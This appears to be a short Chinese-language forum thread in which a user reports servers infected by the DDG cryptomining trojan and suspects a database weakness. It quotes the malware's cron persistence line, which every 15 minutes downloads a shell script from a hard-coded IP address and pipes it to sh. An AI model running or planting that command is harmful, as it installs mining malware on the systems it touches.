中了一批挖矿木马。。

假面式寂寞

ddgs挖矿木马。。
执行了任务。。*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh
。。这个IP存在了太久时间了。。

Titan

因为什么中的啊，服务器什么环境？

假面式寂寞

估计和数据库有关系。。端口和密码都有强度。。参考https://blog.netlab.360.com/ddg-mining-botnet-jin-qi-huo-dong-fen-xi/